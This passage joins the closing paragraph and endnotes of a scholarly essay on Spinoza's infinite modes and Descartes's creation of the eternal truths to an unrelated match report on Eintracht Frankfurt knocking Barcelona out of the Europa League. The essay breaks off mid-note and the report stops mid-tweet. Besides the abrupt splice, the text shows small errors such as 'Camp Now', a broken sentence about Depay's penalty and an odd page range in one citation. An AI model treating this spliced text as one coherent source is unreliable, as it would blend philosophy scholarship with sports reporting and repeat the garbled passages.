things. I understand this to be the main point of E1p28. As I read Spinoza, neither finite, non-eternal things nor indefinite, sempiternal things can be cognized both as enjoying the kind of formal reality they do and as immanently caused by and inhering in substance. God’s essence can only be properly conceived as enjoying, necessarily, infinite and eternal formal reality. Importantly, however, the infinity of essences following from the divine essence do not involve existence. One and the same essence can be considered either as enjoying formal reality as an infinite and eternal mode, in which case its reality can be understood to be immanently caused by an infinite and eternal God, or as enjoying formal reality as a non-eternal and finite thing, in which case its reality cannot be understood as immanently caused by an infinite and eternal God.110 So, God is the cause of all things and all things are modes; it is just that we cannot coherently cognize things as modes of God when we consider them as real in the way the jostling bodies and impermanent minds of ordinary experience are taken to be real.111 I cannot provide more defense of this proposal here.112 I will just end by noting that if this is the basic structure of Spinoza’s monist system, then it can be understood as providing alternatives to three Cartesian views concerning causation. The first is the view I focused on in this essay: the doctrine of God’s creation of the eternal truths. The second is the view, alluded to in Section IV.4, that an infinite, eternal God can be understood as creating and conserving finite (or indefinite) non-eternal (or sempiternal) things. The third is the view that minds and bodies causally interact. That Spinoza replaces the third view with what he sees as a more intelligible monist alternative is universally accepted, although there are—as with anything Spinoza—a variety of ways to understand the alternative Spinoza furnishes. However, the extent of Spinoza’s departure from the other two views has not, to my mind at least, received enough attention.113 I hope I have shown here why we may want to pay more attention: once we do, we may realize that common ways of reading certain propositions—or understanding Spinoza’s system as a whole—need to be reconsidered.114 1Where G = Spinoza (1972). Other abbreviations: E = Ethics (references by PartTypeNumber, so E1p15 is Ethics, Part 1, Proposition 15), Ep = Letters, KV = Short Treatise, CM = Cogitata Metaphysica, PPC = Descartes’ Principles of Philosophy, TIE = Treatise on the Emendation of the Intellect. AT = Descartes (1964–74). I have used Curley’s translations of Spinoza’s texts and Cottingham, Stoothoff, and Murdoch’s translations of Descartes’s texts, sometimes with modifications. 2Spinoza does not use the term ‘modus infinitus.’ For discussion, see Gabbey 2008. Texts taken to concern the infinite modes are E1p21–23, KV I. xiii–ix, Ep. 64, and TIE 101. 3This is an old question. For an early articulation, see Leibniz’s (1999: 70) comments on Wachter. For a recent overview of responses to the question, see Newlands (2018b). 4See Curley (1969: 58–62, 1988: 47–48, 1990: 122–126), and Curley and Walski (1999). Curley also argues that the ‘common notions’ central to cognition of the second kind, reason (E2p40s2), are ideas of the infinite modes, or laws of physics (see also Yovel 1989: 161; Bennett 1984: 107; and Miller 2003). 6‘Formal essences’ is a term Spinoza uses in E2p8 (and also in his description of the best kind of cognition, scientia intuitiva, in E2p40s2). What Spinoza means by ‘formal’ is a point of debate, but it is often thought that a thing’s ‘formal’ essence is an eternal essence. This essence is to be contrasted with a thing’s ‘actual’ essence, its conatus, its striving to persevere in its being [in suo esse] (E3p7). For the view that formal essences are, along with general and specific laws of nature, infinite modes, see Garrett (2009; cf. Martin 2008; Martin 2018; Ward 2011). Scribano holds that the entire series of formal essences is a ‘mediate’ infinite mode that enjoys eternal reality (2008: 55). For the purposes of this paper, I follow many other scholars in assuming that for Spinoza, the statement ‘something exists’ is underspecified: does the thing exist as something concrete and enduring over time, or as something that is not properly thought of in time at all? Supposing that there are different formal realities comes with its own questions and difficulties, and elsewhere I explore what, if we assume there are these different realities, the structure of Spinoza’s monist system might have to be (see Primus 2019, unpublished manuscript). I will not address their arguments here, but Klein (2014) and Laerke (2017) hold that Spinoza did not think there are different kinds of reality at work in Spinoza’s system (cf. Deleuze 1968: 44–58). According to Laerke, grasping the ‘formal essence’ of a thing never involves grasping anything ‘beyond the [actual] thing itself’: grasping the formal essence is ‘grasping the form of the thing itself, its specific structure [i.e., its specific relative configuration of parts], insofar as this thing is contained in the attributes either qua existent, through the causes that makes it exist, or qua non-existent, through the causes that exclude it from existence.’ The form is ‘objectively conceived by the intellect as an eternal truth and the form itself eternally contained in the attribute.’ (2017: 32–33). 7This is a popular view. See Garrett (1991: 198) for an early statement, and Curley and Walski (1999) for criticism. For a recent position that largely follows Garrett, see Lord (2010: 40–41). Melamed also follows Garrett but adds that Spinoza introduced infinite modes because he needed a divisible, yet infinite, intermediary between the indivisible and infinite cause and finite things (2013: 132). 8See Gueroult (1968: I.309) and Miller (2009: 109–110). Melamed’s view, according to which the infinite series of infinite modes is a series of modes decreasing in perfection, has a tinge of neo-Platonism to it (2013: 120–121). An example Spinoza offers in Ep. 64 of an infinite mode, ‘the face of the universe,’ also suggests emanation; Spinoza appears to be appropriating the Kabbalistic term ‘faces’ (partzufim), which refers to the mediate emanations from the Infinite (Ein Sof) through the Sefirot (ten attributes). Cf. Wolfson (1934: I.244–245). 9Curley, however, sees a precursor of the infinite modes in Plotinus (1993: 127–128). 10See Descartes’s Principles I.56 (AT VIIIA.26) and Comments on a Certain Broadsheet (AT VIIIB.348). 11E.g., Bréhier (1968), Viljanen (2011), and Ward (2011). See Ep. 10: ‘things [res] or the affections of things [rerum affectiones] are eternal truths [aeternae veritates].’ Cf. KV I.1. 13It is likely Spinoza had access to the correspondence in which Descartes discusses the Creation Doctrine. Although it was not listed in the 1677 inventory of Spinoza’s books, in his exposition of Descartes’s Principles, Spinoza does refer to Letter 118 in the Clerselier edition of Descartes’s correspondence (See G I.195). Letter 118 appears in the first (1657) edition of the correspondence, as do most of the letters to Mersenne and Mesland concerning the creation of the eternal truths. Descartes’s 15 April 1630 letter to Mersenne does not appear until the second (1659) edition. 14Descartes identifies essences and eternal truths in the 27 May 1630 letter to Mersenne (AT I.152). 15Descartes’s Aristotelian predecessors thought that God needed to act in conformity with logical laws, but this was not seen as a limitation of God’s power. See Alanen (1985). 17See, e.g., Plantinga (1980), Marion (1980), and Bouveresse (1983). For discussion, see Bennett (1994: 63–655), Ishiguro (1986: 461–463), and Alanen (2008: 360–363). 18The basic thought behind the ‘universal possibilism,’ a view often attributed to Frankfurt (1977), is this: because God could have freely made the contradictories of the eternal truths true (see AT V.224), it cannot be the case that the eternal truths are necessary. In order for God to freely create an eternal truth P, it must be the case that God could have willed that not-P is true. It seems, however, that God could have only willed that not-P is true if not-P is possible. But if it is the case that for any eternal truth P, it is possible that not-P, then P is not a necessary truth. For a summary of problems with this view, see Kaufman (2002: 27–30). Alanen (1985, 1988) argues that we ought not to seek a modal theory that will apply both to God’s act of creation and to the eternal truths created; we should take Descartes at his word when he says God’s unlimited power is unintelligible. 19Descartes claims that we sometimes clearly and distinctly perceive the truths of mathematics to be necessary (AT VII.65), and by his truth rule, what is clearly and distinctly perceived is true. Furthermore, Descartes’s ontological argument presupposes true and immutable natures; the meditator’s thought does not impose necessity, but the necessity of the things determines the meditator’s thought. See Curley (1984: 571–574). 20See Curley (1984); cf. Geach (1973). Support for an approach utilizing iterated modalities can be found in a letter to Mesland, where Descartes appears to make the scope distinction between 1) God wills that necessarily 2 + 2 = 4 and 2) Necessarily, God wills that 2 + 2 = 4 (2 May, 1644, AT IV.118–119). 22See especially E1p32c1. For a recent survey of the extant literature, see Schmaltz (2018: 77–80). It should be noted that in earlier works, Spinoza’s views do not seem so different from Descartes’s: God ‘acts from absolute freedom of the will’ (CM I.12, G I.238), and the essences of created things ‘depend on the decree of God alone’ (CM I.3, G I.241). 23Spinoza agrees with Descartes that if intellect is thought to pertain to the divine nature, then ‘the intellect and will which would constitute God’s essence would have to differ entirely from our intellect and will, and could not agree with them in anything except the name’—no more, Spinoza continues, than a barking dog resembles Sirius, the Dog Star (E1p17s). See CM II.7 (G I.261) for another echo of Descartes’s claim that a divine will cannot be understood in terms of a human will (AT VII.432–433). For discussion of the Sirius passage, see Koyré (1950) and Gueroult (1968: I.272–295). For a study of the lack of univocity in both Descartes and Spinoza, see Schmaltz (2000). 26See E1p33s2. For Descartes, eternal truths are not supposed to be external constraints: they are not ‘known by God in any way that would imply that they are true independently of him’ (Letter to Mersenne, 6 May 1630, AT I.149). To claim that eternal truths are independent of God would be to talk of God ‘as if He were Jupiter or Saturn and to subject Him to the Styx and the Fates’ (Letter to Mersenne, 15 April 1630, AT I.145). The thesis that eternal truths are uncreated and independent of God would be objectionable to Descartes for another reason: it would make finite human minds too much like God’s mind. Human thinking and divine thinking would be constrained in the same ways, where these ways would be perfectly intelligible to human minds. 27For example, Spinoza’s God can be understood under the attribute of extension (E1p11, E1p15s1), and is—as a non-transcendent God—the immanent cause of all things (E1p18). 28As will become clearer later on, I think the eternal ‘formal essences’ (E2p8) are ‘infinite modes,’ but I will part company with others (e.g., Garrett 2009) who also think formal essences are infinite modes on a few points.). Second, I do not think there is an ‘infinite mode’ that is all things enjoying ‘finite and determinate’ reality (i.e., the things described in E1p28) taken together as a whole. 29Presumably we can also include the other Euclidean common notions, including if equals are taken from equals, the remainders are equal. See letter to Plempius, end of December 1637 (AT I.476). 30See Frankfurt (1977) and Bennett (1994) for interpretations according to which all eternal truths are created eternal truths. 31For discussion, see Wells (1982). For other interpretations according to which there are some necessary truths that are absolutely necessary truths exempted from the Creation Doctrine, see Gueroult (1968), Funkenstein (1975), and Ishiguro (1986). Curley (1984) also proposes a distinction between a) necessarily necessary eternal truths concerning God and b) eternal truths which are necessary but not necessarily necessary. 32Cf. the 29 July 1648 letter to Arnauld (AT V.224): ‘every reason [ratio] for truth and goodness depends on [God’s] omnipotence.’ 33Problems arise for Descartes, however, if the doctrine is completely unrestricted. For example, if truths about God are created truths, then the truth God exists has a cause: namely, God’s own free and indifferent will. This, however, appears to conflict with Descartes’s claim that although all things have a cause or reason (causa sive ratio) for existence, God needs no cause to exist. Given such problems, it seems that Descartes probably did not mean for the doctrine to apply to truths about God’s nature. For discussion, see Wells (1982) and Schmaltz (2002: 90–92). 34See Principles II, articles 37, 39, and 40. For the assumption that the Creation Doctrine applies to these laws, see Curley (1984: 573), Osler (1985: 353–354), Wilson (1978: 136), Kenny (1968: 178) and (1970: 698–699). 35Kemp Smith (1952), Williams (1978), and Ishiguro (1986) leave room for the possibility that the laws of motion are not eternal truths, although Ishiguro holds that the laws of motion are not necessary. Broughton (1987) argues that before the Meditations, Descartes thought the laws of motion were eternal truths, but changed his view afterwards (cf. Dutton 1996). 36For discussion, see Chappell (1997: 124–125) and Schmaltz (1991). 38That is, the distinction between initial creation and subsequent conservation is a distinction of reason. See also AT VII.49 and AT VIIIA.30. 39But see Della Rocca (1999) for the suggestion that there is a closer analogy between God’s creation of the eternal truths and God’s causation of motion: there are eternal essences created by God that ground the laws of motion, just as there are eternal essences created by God that ground the eternal truths. As Della Rocca notes, however, this is in tension with the Cartesian thesis that the essence of body is extension alone (1999: 69). 41It may seem that the modal status of the laws of motion is explained by the immutability of God’s activity, but this may not be the case. See Kaufman (2005: 15) for an argument that immutability explains why there are the laws of motion there are, but not why they are necessary. Dutton (1996) claims that while God has perfect freedom of indifference to create or not create laws of motion, given the creation of the laws, God must create only those laws that are consistent with God’s immutability. The content of the eternal truths, in contrast, is not tied to God’s immutability. 42Descartes explains the necessity of the laws of nature in terms of the immutability of divine action (see AT XI.43). If we think the laws of nature are eternal truths, and we note that the laws of nature are necessary because of the immutability of God’s will, then we may think that immutability could also be the ground of the other eternal truths. 44See AT XI.43 and AT VIIIA.61 for some textual support. Kaufman admits that it is not entirely clear from these passages that Descartes subscribes to this ‘Transfer of Immutability Principle.’ 45Here I set aside the debate about whether Descartes is an incompatibilist or compatibilist regarding human freedom. See Jayasekera (2014) for a helpful overview. 46See Kaufman (2005: 10–11). 47Kaufman’s own account of the necessity of the eternal truths does not go via God’s immutability: ‘the eternal truths are necessary precisely because God wills that they are necessary’ (2005: 17). 48The passage from E1p17s concerning God’s omnipotence discussed above seems to echo these passages. Spinoza combines the point about God’s necessary existence with the point about properties following with necessity from the essence of a triangle: if God’s essence is necessarily eternally real, and all things follow from God’s essence with necessity (as propria follow from the essence of a triangle), then all things will be eternally real. It is, then, not just that God exists ‘from eternity and will remain for eternity’—all of God’s effects also exist from eternity and will remain for eternity. That is, God’s omnipotence has ‘been actual from eternity and will remain in the same actuality to eternity.’ 49See Kenny (1970). Gewirth (1970) identifies some Platonism in Descartes’s thinking. Cf. Wilson (1978: 171). 50Gassendi advances a view according to which essences do depend on the existence of human beings and their conceptualizing activity (AT VII.321). 51See Rozemond (2008). Hattab (2016) proposes that Descartes’s view of eternal truths is indebted to Proclus’s (Neoplatonic) view of universals. 52In the Principles, Descartes advances a view according to which eternal truths, essences, and all universals do not enjoy reality outside of thought. See AT VIIIA.27–30. Cf. AT IV.349–50. 53See Gueroult (1974: II.277) and Nolan (1997). 54See AT VII.117–118, AT VII.64, AT VII.189. See Carriero (2009: 314–315) and Schmaltz (2014) for discussion. 55For further discussion of whether the true and immutable nature of God is to be distinguished from the true and immutable natures of other things, see Cunning (2010: ch. 6) and Schmaltz (2017). 56See Rozemond (2008). Schmaltz (1991) also gives a ‘moderate’ reading but suggests that the natures and truths are to be identified with the divine decrees. 57Moderate Platonism may also conflict with divine simplicity (see Nolan 1997: esp. fn. 13; Kaufman 2003). For discussion of the idea that there is a distinction of reason between the objectively real eternal truths in God’s mind and God’s essence, see Rozemond (2008). In discussing the Creation Doctrine, Descartes often emphasizes the incomprehensibility of God and God’s activity (see AT I.146, AT IV.118, AT VII.436). Given this incomprehensibility, it may be that moderate Platonic readings do fit with Descartes’s claims that eternal truths are distinct from God—it is just that we cannot grasp the nature of this distinction (thanks to Michael Della Rocca for this point). 58See De Rosa (2011) for discussion and Schmaltz (2017) for elaboration of how this tension is handled by Malebranche, Arnauld, and Régis. 60Descartes held that the eternal truths were created ‘from eternity’ (ab aeterno). See AT I.152 and AT VII.436. Yet creation and ‘from eternity’ seem to be in tension: how could something have been created if it is created from eternity? Descartes is comfortable with this tension: our finite human minds simply cannot understand how to square creation and eternality (see, e.g., AT VII.380). 61By the Physical Digression, I think Spinoza has shifted to discussing what is not eternal; the bodies under discussion in the digression are not conceived to be true and immutable natures, but rather to be actual things enduring over time. See the conclusion. 62For more discussion of this point regarding the Creation Doctrine and laws of physics, see Broughton (1987) and Nadler (1987). 64There would also not be any antecedent reason why God would create human minds with one idea of God rather than another. I return to the idea of God in Section IV. 65See VII.61. See my ‘Scientia intuitiva in the Ethics’ (2017) for an argument that Spinoza’s scientia intuitiva (E2p40s2) also secures the greatest certainty, albeit without appeal to any thesis of God’s benevolence. Rather, certainty is secured by the thesis that one and the same thing can be considered either as a representation of a body (i.e., an objectively real body) or a formally real body (i.e., the idea’s ideatum). See my “Ideas of Ideas and Knowing that one Knows” (forthcoming-b) for further defense of the thesis that E2p43 (“he who has a true idea at the same time knows [scit] that he has a true idea, and cannot doubt the truth of the thing”) is compatible with scientia intuitiva securing certainty that reason cannot. 66To be clear, most scholars of Spinoza (myself included) think that Spinoza’s God’s eternity is not sempiternity, but see Donagan (1973) and Kneale (1973) for discussion. Most also think that, for Spinoza, at least some of an eternal God’s effects are non-eternal. In this essay, I explain why I disagree with the majority on the latter point. 67Cf. Descartes’s claim in his 7 May 1630 letter to Mersenne that the essences of created things are eternal truths (AT I.152). 68Although my conclusions may differ from theirs, I agree with other scholars in thinking that Spinoza rejects bifurcations of reality that threaten intelligibility. See, for example, Della Rocca (2007), Melamed (2013: 95–104), and Perler (2018: 232). For the role(s) of the PSR in Spinoza’s Ethics, see Della Rocca (2003, 2008, 2015), Garber (2015), Lin (2007, 2012, 2018), Newlands (2018a). 69‘Actual’ here is actuality sub specie aeternitatis. When one conceives of things as actual, or real, in this way, one conceives them ‘to be contained in God and to follow from the necessity of the divine nature’ (E5p29s). 70If this is right, then Spinoza can be read as defending the thesis that the entirety of God’s being—God and all of God’s modes—is immutable (cf. G I.178–179, G I.255–256). More traditional theologians held that if God had modes, God would be mutable, but if God’s modes are all eternal, then the presence of modes does not entail mutability. For discussion of the issue of divine immutability in Spinoza and the tradition, see Carriero (1995: 263–267). 71Descartes had said that there is ‘always a single identical and perfectly simple act by means of which [God] simultaneously understands, wills, and accomplishes everything. When I say ‘everything’ I mean all things’ (AT VIIIA.14. Cf. Spinoza’s mention in E1p17s of those who assert that ‘God’s intellect, will, and power are one and the same.’ Cf. G I.261–263). A human being may have reasons to believe that this is true (e.g., perhaps because it is a tenet of faith), but it seems there is an irremovable mystery here. As mentioned in note 60, it is hard to see how an eternal God could create effects that are also eternal. Furthermore, one can wonder how a timelessly eternal God creates eternal effects and effects that only endure for some period of time by a ‘single identical and perfectly simple act.’ God’s causation is seemingly more intelligible if all of God’s effects are eternally real and follow as propria follow from an essence. 72I read E2p7, ‘the order and connection of ideas is the same as the order and connection of things,’ to be a thesis about true ideas. Yet there is a difference between a true representation of, say, a circle with specific dimensions Q as something eternal (the “true and immutable nature” of a circle) and a true representation of circle with specific dimensions Q as something enduring (that which came to be on a certain page at a certain time). While I cannot defend it here, I think Spinoza makes this point in E2p8–E2p9: the order and connection of ideas of eternal truths is the same as the order and connection of eternal truths, and the order and connection of ideas of enduring things is the same as the order and connection of enduring things. In each case, the representational parallelism is due to the “one and the sameness” of objecta and ideata. In the conclusion, I return to the question of how eternal truths and enduring things fit into Spinoza’s monist framework. 73Each eternal nature and truth presupposes and implies others; each truth will occupy a distinct node in an infinitely complex ordering of all eternal truths. It will thus not be the case that God is both P and not-P at once and in the same respect. 74The things discussed in E1p15–18 are all things (that are not God). Propositions E1p19–20 concern God. Note that Spinoza does not indicate that E1p21–23 only concern a subclass of God’s effects. 75The ‘moderate’ Platonic readings described in Section II.4, according to which eternal truths are merely objectively real representations in God’s mind, are also ruled out, but not until the doctrine of parallelism is introduced in Part II. The infinite intellect’s adequate representation of, say, the true and immutable nature of a circle (i.e., the nature as objectively real) and the true and immutable nature of the circle (i.e., the nature as formally real) are one and the same mode considered under different attributes. See Section IV.4 below. 76From E1p20c1, we know that God’s existence, like his essence, is an eternal truth (see also E1p8s2), and from E1p20c2, we know that considered under any attribute, God is immutable. In other words, God’s nature—the one substance considered under some attribute—is an immutable nature and an eternal truth. 77We have assumed that some finite formal reality (the idea of God) follows from the ‘absolute nature’ of some attribute of God. I am taking this to mean that there is no other formally real entity assumed to be in play; we are supposed to focus on substance just as ‘existence itself.’ 78Cf. Melamed (2013: 118 fn. 8). 80Alternatively, for there to be a finite idea, we must already have assumed a finite thing, and so a finite idea cannot follow from the substance alone (i.e., from the absolute nature of substance). See Melamed (2013: 117–118) for this reconstruction. 81Granted, it is possible that E1p11 does not do much work here. This citation might just be Spinoza’s way of signaling that if the finite idea does not limit itself, the only other option is that it is limited by the necessarily existing thinking substance. However, as I show below, there is a way of understanding the demonstration according to which this mention of E1p11 does real work. 82We can also rule out that it is another mode of the same substance that is doing the limiting; positing another finite idea that is doing the limiting merely pushes the question back to what has limited that limiting idea, and that just amounts to restating what we have assumed for reductio. 83Although Spinoza does not cite it, I think we are supposed to recall E1p5, ‘in nature there cannot be two or more substances of the same attribute.’ Other reconstructions neglect to incorporate the second occurrence of E1p11 in the demonstration; my reconstruction supposes that Spinoza neglected to cite something he was, in fact, assuming. I am not entirely sure how to weigh these tradeoffs. However, I think it is likely that if Spinoza takes the care to cite a proposition, it’s likely he meant it to do important work in the proof and should not be discounted. I think he can be excused for sometimes failing to make explicit all the propositions required for a proof to work. 85See Curley (1969: 107, 116; Gueroult 1968: I.309; Melamed 2013: 122–126; Wolfson 1934: I.376–377). 87Cf. Melamed (2012). Spinoza makes such an announcement in the Cogitata Metaphysica: ‘I call this infinite existence eternity, which is to be attributed to God alone, and not to any created thing, even though its duration should be without beginning or end’ (G I.252). I am not so sure we can assume this much continuity between the CM and the Ethics. 88In E2p10s, Spinoza explains that even though all modes must be in and conceived through the essence of substance, this does not mean that existence follows from the essence of any mode. God’s essence exists necessarily, but it is not the case that ‘anything without which a thing can neither be nor be conceived pertains to its essence.’ 89In addition to the passage cited in note 87, this passage from Ep. 12 has been read as implying that the eternity of modes cannot be the timeless eternity of substance: ‘… we conceive the existence of substance as of an entirely different kind from the existence of modes. This is the source of the difference between eternity and duration. It is to the existence of modes alone that we can apply the term duration …’ (G IV.54–55). For recent defense of the thesis that no modes are timelessly eternal, see Melamed (2013: ch. 4) and Schmaltz (2015). I do not think this passage conclusively establishes that modes cannot be timelessly eternal, since we can read Spinoza as saying that substance can only be properly understood as enjoying eternal existence, while we can ‘apply the term duration’ as well as the term ‘eternity’ to that which is not substance. See my “Spinoza’s Monism” (2019, unpublished manuscript) and the concluding section of this paper. 90Again, this can be eternal or necessary existence in virtue of essence (this is the eternal and necessary existence of substance) or eternal and necessary existence in virtue of substance’s immanent causation (this is the eternal and necessary existence of modes). 91I think ‘what is common to all things and is equally in the part and the whole’ (see E2lemma2, E2p37), as well as the properties of things mentioned in E2p39, follow with necessity from the divine nature (while I cannot say more here, I suspect that the essences of singular things can be adequately understood in terms of these properties). I think the more ‘immediate’ modes are the more general common notions (e.g., Euclidean common notions); more ‘mediate’ modes presuppose what is more common. So the essence rectangle is a more immediate eternal, infinite mode than the essence cube, which is in turn more immediate than the essence of some particular cube. What I want to emphasize here is that the immediacy and mediacy is not a matter of some modes serving as causal intermediaries between God and other modes. While one may need to understand many other properties or essences to have an adequate idea of some particular essence, when that essence is conceived as enjoying infinite and eternal reality, it can, by itself, be cognized as immanently caused by and inhering in the infinite and eternal substance. I discuss this further in “Spinoza’s Monism” (2019, unpublished manuscript) and “Finding oneself in God: scientia intuitiva as a metaphysically self-locating thought” (forthcoming-a). 92I thereby disagree with views according to which ‘immediate’ infinite modes (i.e., those described in E1p21) are timelessly eternal while ‘mediate’ infinite modes (i.e., those described in E1p22) are not. Gueroult (1968: I.321–322) holds such a view, as does Nadler, who argues that ‘an infinite series of finite modes understood as formal essences makes up an immediate infinite mode under each attribute, while an infinite series of finite modes understood as durationally existing entities makes up a mediate infinite mode under each attribute’ (2012: 228). 93This is important for the Third Meditation proof of God’s existence. If the idea of the infinite were posterior to the idea of the finite, then one could construct that idea starting from the idea of the finite. But in that case, the presence of an idea with ‘infinite’ objective reality could not be used to prove the formal reality of an infinite being, God; that idea could have simply been generated from the Meditator’s idea of his own finite reality as a thinking thing. 94The propositions immediately following E1p23 clarify that the fact that all of God’s effects are infinite and eternal does not imply that modes are in fact substances. The difference between the essences of things that are not God and God (considered under any attribute) is that the former are essences that do not include existence (E1p24). Everything that is eternally, infinitely real is real because God is the cause of that reality. That everything that is not substance depends on God for both essence and existence (E1p25) might be taken to be a ‘limitation’: modes’ infinite, eternal reality is ‘limited’ because it is not the self-causing infinite, eternal reality of substance. This is not the same sense of ‘limitation’ that is at work in E1p21–22. Any immanent effect of substance can be understood as ‘limited’ in the sense that it is not also a substance, but it cannot be understood as limited in the sense of being prevented from having some ‘amount’ of reality that it is conceivable for it to have—as a mode of substance, it cannot be conceived to be any more real (or less real) than it is. 95This raises the question of how Spinoza does understand finite, limited reality. I will not be able to venture into this topic here, although I return to the question of where finite, limited reality fits into Spinoza’s system in the conclusion. 96See Schechtman (2014) for discussion of how the Meditator arrives at the requisite idea for the first causal proof of God’s existence in the Third Meditation. 97See notes 91 and 92. One might think that since an essence E presupposes essence F, E is in that sense “limited” (cf. note 94). Again, I do not think such presupposition results in E’s eternal reality being limited. 98Once the Meditator properly understands God’s formal reality, he can properly understand the formal reality of all things, and it seems this is something that could be understood in a flash. Elsewhere I have argued that scientia intuitiva, cognition which ‘proceeds from an adequate idea of the formal essence of certain attributes of God to the adequate cognition of the [NS: formal] essence of things,’ delivers this insight. I have also argued that this insight enables a cognizer to be certain that all of their adequate ideas correspond to extra mental reality. See my “Scientia intuitiva in the Ethics” (2017) and “Finding oneself in God: scientia intuitiva as a metaphysically self-locating thought” (forthcoming-a). In my “Spinoza’s Monism” (2019, unpublished manuscript), I propose that for Spinoza, things conceived as enjoying the formal reality of enduring, finite things cannot be coherently cognized as inhering in and caused by an infinite and eternal God; in my (forthcoming-a), I argue that an inability to make sense of God’s causal relation to things conceived as they ordinarily are (i.e., as finite, enduring things) explains both why scientia intuitiva is difficult as well as why it is so transformative. 99Cf. Question 1 in Section I. The Spinozan Meditator recognizes that he was able to have his adequate idea of the infinite and eternal essence of God in virtue of his having adequate ideas of infinite and eternal modes caused by God (note that one can “follow the proper order of philosophizing” and begin with the contemplation of the divine nature [E2p10s] without realizing how one is able to have the right idea of the divine nature in the first place). 100In other work, I argue that E2p8 and E2p9 extend the thought introduced in E2p7: a true idea does not just represent the properties of something, but also represents the kind of formal reality (infinite and eternal or non-eternal and finite) that something enjoys. 101In E5p40s, Spinoza says that it is clear from ‘E1p21 and other things’ that our mind, insofar as it understands, is an eternal mode of thinking. I have offered one way of understanding why Spinoza cites E1p21 in this scholium. Note that E5p40s does not say that the mind, insofar as it understands, is an eternal and infinite mode of thinking; if E1p21 is to be read as I have suggested, then this omission is, admittedly, puzzling. This is speculative, but perhaps the talk of “perfection” in the corollary immediately preceding the scholium is supposed to indicate that the reality of this eternal mode is non-finite. 103According to E5p40s, insofar as our mind understands, it is an eternal mode of thinking ‘determined by another mode of thinking, which is determined by another mode of thinking, and this again by another, and so on, to infinity; so that together, they constitute God’s infinite and eternal intellect.’ As suggestive as this language is of (the uncited proposition) E1p28, I do not think the determination here is to be understood as the limitation or preclusion of infinite and eternal formal reality. Unlike finite, non-eternal reality, infinite and eternal reality cannot be understood as limited or limiting. See note 91. 105In other work, I clarify how the essences of modes differ from the attributes, which are just what the ‘intellect perceives to be the essence of substance’ (E1d4). 107This idea of all things conceived as eternal truths (i.e., as infinite and eternal modes of substance) is an ‘infinite intellect’ (see E1p16c1, E1p31). Spinoza calls this infinite intellect the idea Dei (see E2p4). Insofar as the mind understands, or ‘perceives things truly,’ it is part of the infinite intellect of God (see E2p11c, E2p43s, E5p40s). See Section IV.4 above. In V.2, I suggest that any essence (that is not the essence of substance, or an attribute) can be considered either as real as an infinite, eternal mode or as a non-infinite, non-eternal thing. The set of essences that is the “infinite intellect” can be conceived either way; a human mind considered as enduring over time is part of the infinite intellect conceived sub specie durationis, while a human mind considered as an eternal and infinite mode is part of the infinite intellect conceived sub specie aeternitatis. 110The distinction between durational and formal realities crosscuts the distinction between the attributes of extension and thought (and, presumably, all the other attributes that are inaccessible to human minds). One and the same essence can be considered as a) an eternal, infinite mode under the attribute of extension, b) an eternal, infinite mode under the attribute of thought, c) an enduring, actual body, or d) an enduring, actual mind. Importantly, durational formal reality can be thought of in terms of “amounts,” and not all things, conceived sub specie durationis, are on ontological par. We can thus begin to see why realizing that one and the same essence can be considered either as some limited enduring thing or as an infinite eternal mode of God is such a powerful realization—a realization I think scientia intuitiva delivers (see my “Finding oneself in God: scientia intuitiva as a metaphysically self-locating thought” [forthcoming-a]). While one will continue to cognize actual, non-eternal, finite things as transitively caused by other such things (and as necessary given its transitive causes), once one has the intuition of scientia intuitiva, one’s experience is nevertheless transformed: for example, one sees that on another way of conceiving the same essences, they are absolutely necessary—not just necessary given other transitive causes (recall the equation of eternity and necessity in E1d8. See also note 90). One also realizes that the kind of reality we expend so much energy worrying about—actual, durational reality—is not fully real. If things’ durational formal reality cannot be coherently cognized as caused by God, then it is not fully intelligible; if intelligibility tracks reality, then durational reality is not fully real (cf. Della Rocca 2012). 111See E5p29s: ‘We conceive things as actual [i.e., as formally real. Cf. Descartes’s use of the term ‘actual’ in AT VIIIA.11 and AT VII.41], that is, real, we conceive sub specie aeternitatis, and their ideas involve the infinite and eternal essence of God.’ 113As I read him, Spinoza can acknowledge that we can conceive of durational reality and eternal reality as really distinct, just as we can conceive of thinking reality as really distinct from extended reality (E1p10s). Spinoza can thus acknowledge the temptation to theorize along Cartesian lines and hold that there are multiple kinds of substances as well as a transcendent God. However, one might object that we need not read Spinoza as so concessive. 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An utterly disastrous showing at the Camp Now saw Barcelona crash out of Europe at the hands of Eintracht Frankfurt. A brace by Filip Kostic saw the German side through into the Europa League semifinals with a resounding 3-2 upset victory at the famous Catalan arena, pushing the visitors past Barcelona 4-3 on aggregate. Barcelona held 75 percent possession throughout the proceedings, but could not generate good chances, with just 10 total shots across the match to Frankfurt’s 15, most of which came in the final minutes as the hosts scrambled for a late miracle. The few chances Barcelona did create went begging, with Pierre-Emerick Aubameyang missing the biggest opportunity just after halftime. Kostic opened the scoring on a fourth-minute penalty after a foul by Eric Garcia, and there was little response from Barcelona. A great goal by Rafael Borre put the German side 2-0 up before halftime, and it would compound after the break. Kostic got his second from open play after the hour mark, and that essentially closed the door on Barcelona’s European hopes. Sergio Busquets picked up a consolation goal early in stoppage time with a blistering strike that was befitting of a better game, but was instead wasted in an otherwise forgettable performance. A penalty converted by Memphis Depay closed was the final play of the match for a 3-2 final result in the second leg. The story of the match, aside from Frankfurt’s devastating counter and comfortable defending, was the reported 30,000 Frankfurt fans that made the trip, dotting the Camp Nou in white. Aquí celebrando la afición del Eintracht con los jugadores. Que cada uno saque sus conclusiones. pic.twitter.com/DJJU9ydv6x — Borja Pardo (@Borja_Pardo) April 14, 2022 MORE: How Barcelona vs. Eintracht Frankfurt first leg unfolded Barcelona vs. Eintracht Frankfurt final score Goals: 4th min — FRA — Filip Kostic (pen) 36th min — FRA — Rafael Borre 67th min — FRA — Filip Kostic 91st+ min — BAR — Sergio Busquets 100th+ min — BAR — Memphis Depay (pen) Full-time: Barcelona 2-3 Eintracht Frankfurt The whistle blows on the stroke of the restart, and Barcelona is eliminated from the Europa League 4-3 on aggregate. It’s a famous win for the German side at one of the most famous grounds in the world, while Barcelona’s quest for a first Europa League championship is over. A calamitous performance from the hosts produces a shocking result, as a reported 30,000 Frankfurt fans were on hand to watch the action at the Camp Nou. FT: Barcelona 2-3 Eintracht Frankfurt Eintracht Frankfurt are headed to the semi-finals of the Europa League.👏 pic.twitter.com/29NGlqUiNs — CBS Sports Golazo ⚽️ (@CBSSportsGolazo) April 14, 2022 15 – #Barcelona 🔵🔴 have ended their best unbeaten run under Xavi Hernández (GP15 W11 D4). The team from the Top 5 European Leagues with the current best unbeaten run are AC Milan (GP12 – W6 D6). Eliminated. #UEL pic.twitter.com/2XuJLmdQAh — 